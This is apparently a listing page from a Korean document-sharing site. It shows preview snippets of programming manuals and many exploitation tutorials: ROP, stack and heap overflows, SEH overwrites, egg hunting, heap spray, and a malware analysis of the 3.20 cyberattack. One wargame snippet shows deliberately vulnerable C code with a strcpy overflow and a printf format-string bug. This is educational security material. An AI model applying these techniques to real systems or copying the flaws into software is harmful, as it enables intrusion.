API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - SEH_Overwrites_Simplified.doc SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

(001~007)수능기적(적통)부속

(001~007)수능기적(적통)부속 0 6 06. C : k d=k+c k «+-, : «d= «± +C + =- : d=: ;[!; d=l +C : kf()d=k: f()d k : { f()+g()} d=: f()d+: g()d : { f()-g()} d=: f()d-: g()d : si d=-cos +C : cos d=si+c 008 : sec d=ta +C : cosec d=-cot +C

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

Deok9_PE Structure

Deok9_PE Structure PE Structure CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 1. PE > 1) PE? 2) PE 3) PE Utility

More information

Evernote Export

Evernote Export Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

Cogame 취약점 보고

Cogame 취약점 보고 Frist Version: 2006. 01. 07 Last Version: 2006. 01. 19 anesra@{null2root.org, gmail.com Table of Contents 1. 기본개념과도구...3 1.1 윈도우쉘코드... 3 1.2 윈도우메모리 LAYOUT... 4 1.3 레지스터... 4 1.4 기본어셈블리어명령어... 4 2. 쉘코드만들기...6

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Microsoft PowerPoint - o8.pptx

Microsoft PowerPoint - o8.pptx 메모리보호 (Memory Protection) 메모리보호를위해 page table entry에 protection bit와 valid bit 추가 Protection bits read-write / read-only / executable-only 정의 page 단위의 memory protection 제공 Valid bit (or valid-invalid bit)

More information

Microsoft Word - GOM-StackOverFlow.doc

Microsoft Word - GOM-StackOverFlow.doc GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.

More information

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에 문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte)

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A 강연소개 Exception Handler 를통한에러검출및수정 디버깅을즐겨하십니까..? 에러를만나면반갑습니까..? 전화로버그보고를받았나요..? 잡히지않는버그!!!! 따분한강의 졸아도좋습니다!!!! 강연자소개 테스터 온라인게임클라이언트개발 로컬라이즈및해외지원업무 디버깅, 최적화, 호환성향상에관심 강연대상 x86 환경에서 Windows 프로그래밍 디버깅 / 에러추적은

More information

bn2019_2

bn2019_2 arp -a Packet Logging/Editing Decode Buffer Capture Driver Logging: permanent storage of packets for offline analysis Decode: packets must be decoded to human readable form. Buffer: packets must temporarily

More information

C++ Programming

C++ Programming C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

슬라이드 1

슬라이드 1 Delino EVM 용처음시작하기 - 프로젝트만들기 (85) Delfino EVM 처음시작하기앞서 이예제는타겟보드와개발홖경이반드시갖추어져있어야실습이가능합니다. 타겟보드 : Delfino EVM + TMS0F85 초소형모듈 개발소프트웨어 : Code Composer Studio 4 ( 이자료에서사용된버전은 v4..입니다. ) 하드웨어장비 : TI 정식 JTAG

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Heap Overflow By WraithOfGhost

Heap Overflow By WraithOfGhost Heap Overflow - 101 By WraithOfGhost 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD

More information

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

°ø±â¾Ð±â±â

°ø±â¾Ð±â±â 20, 30, 40 20, 30, 40 1 2 3 4 5 6 7 8 9 10 3.1 6.3 9.4 12.6 15.7 18.8 22.0 25.1 28.3 31.4 2.4 4.7 7.1 9.4 11.8 14.1 16.5 18.8 21.2 23.6 7.1 14.1 21.2 28.3 35.3 42.4 49.5 56.5 63.6 70.7 5.9 11.9 17.8 23.7

More information

Chapter ...

Chapter ... Chapter 4 프로세서 (4.9절, 4.12절, 4.13절) Contents 4.1 소개 4.2 논리 설계 기초 4.3 데이터패스 설계 4.4 단순한 구현 방법 4.5 파이프라이닝 개요*** 4.6 파이프라이닝 데이터패스 및 제어*** 4.7 데이터 해저드: 포워딩 vs. 스톨링*** 4.8 제어 해저드*** 4.9 예외 처리*** 4.10 명령어 수준

More information

Microsoft PowerPoint - CSharp-10-예외처리

Microsoft PowerPoint - CSharp-10-예외처리 10 장. 예외처리 예외처리개념 예외처리구문 사용자정의예외클래스와예외전파 순천향대학교컴퓨터학부이상정 1 예외처리개념 순천향대학교컴퓨터학부이상정 2 예외처리 오류 컴파일타임오류 (Compile-Time Error) 구문오류이기때문에컴파일러의구문오류메시지에의해쉽게교정 런타임오류 (Run-Time Error) 디버깅의절차를거치지않으면잡기어려운심각한오류 시스템에심각한문제를줄수도있다.

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

Windows 8에서 BioStar 1 설치하기

Windows 8에서 BioStar 1 설치하기 / 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

FMX M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2

FMX M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2 FMX FMX 20062 () wwwexellencom sales@exellencom () 1 FMX 1 11 5M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2 FMX FMX D E (one

More information

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63>

<4D F736F F D20B9D9C0CCB7B5B9D9C0CCB7AFBDBA5FBCF6C1A42E646F63> Virut 바이러스공격 ASEC 분석 1 팀고흥환선임연구원 해마다접수되는악성코드의통계를보면대부분이인터넷웜또는트로이목마가대부분을차지하며, 파일에기생하는바이러스는그수가적어지는것이추세이다. 그도그럴것이최근의악성코드특징은개인의능력과시가아닌돈과연관되는악성코드작성이대부분이기때문이다. 그렇다면 Virut 바이러스가인터넷웜과트로이목마를제치고국내뿐만아니라해외에서도큰피해를입히고있는이유가무엇인지,

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx To be an Android Expert 문양세강원대학교 IT 대학컴퓨터학부 Eclipse (IDE) JDK Android SDK with ADT IDE: Integrated Development Environment JDK: Java Development Kit (Java SDK) ADT: Android Development Tools 2 JDK 설치 Eclipse

More information

untitled

untitled 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드]

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드] System Programming Lab Week 1: Basic Skills for Practice Contents vi Editor 사용법 GCC 컴파일러사용법 Makefile 사용법 GDB 사용법 VI Editor Usage vi 모드 입력모드 : 실제문서를편집하는모드. 명령모드 : 키입력이바로명령이되는모드로서쓴내용을삭제하거나, 복사할때사용. ex 명령모드

More information

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의

제 9 도는 6제어항목의 세팅목표의 보기가 표시된 레이더 챠트(radar chart). 제 10 도는 제 6 도의 함수블럭(1C)에서 사용되는 각종 개성화 함수의 보기를 표시하는 테이블. 제 11a 도 제 11c 도까지는 각종 조건에 따라 제공되는 개성화함수의 변화의 (19) 대한민국특허청(KR) (12) 특허공보(B1) (51) Int. Cl. 5 B66B 1/18 (45) 공고일자 1993년09월28일 (11) 공고번호 특1993-0009339 (21) 출원번호 특1989-0002580 (65) 공개번호 특1989-0014358 (22) 출원일자 1989년03월02일 (43) 공개일자 1989년10월23일 (30) 우선권주장

More information

02 C h a p t e r Java

02 C h a p t e r Java 02 C h a p t e r Java Bioinformatics in J a va,, 2 1,,,, C++, Python, (Java),,, (http://wwwbiojavaorg),, 13, 3D GUI,,, (Java programming language) (Sun Microsystems) 1995 1990 (green project) TV 22 CHAPTER

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균 취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] 2012-08-02 RedAlert Team 봉용균 목 차 1. 개요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 1 1.4. 대상시스템... 1 2. 공격... 2 2.1. 시나리오... 2 2.2. 대상프로그램... 2 2.3.

More information

Studuino소프트웨어 설치

Studuino소프트웨어 설치 Studuino 프로그래밍환경 Studuino 소프트웨어설치 본자료는 Studuino 프로그래밍환경설치안내서입니다. Studuino 프로그래밍 환경의갱신에따라추가 / 수정될수있습니다. 목차 1. 소개... 1 2. Windows... 2 2.1. 프로그래밍환경설치... 2 2.1.1. 웹설치버전설치방법... 2 2.2. Studuino 프로그래밍환경실행...

More information

